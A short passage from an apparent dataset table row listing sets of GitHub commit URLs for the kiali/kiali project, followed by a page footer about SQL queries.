'https://github.com/kiali/kiali/commit/ce48af57113c805a25179aaab1a0fac2fb93653f', 'https://github.com/kiali/kiali/commit/ac7bd6c7ddb2e01356e21d360dd1c718a90706ad', 'https://github.com/kiali/kiali/commit/93f5cd0b6698e8fe8772afb8f35816f6c086aef1'} | {'https://github.com/kiali/kiali/commit/ce48af57113c805a25179aaab1a0fac2fb93653f', 'https://github.com/kiali/kiali/commit/faed1f5f90efae3df9fd6fb793f00ccc242b3a96', 'https://github.com/kiali/kiali/commit/93f5cd0b6698e8fe8772afb8f35816f6c086aef1', 'https://github.com/kiali/kiali/commit/ac7bd6c7ddb2e01356e21d360dd1c718a90706ad'} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.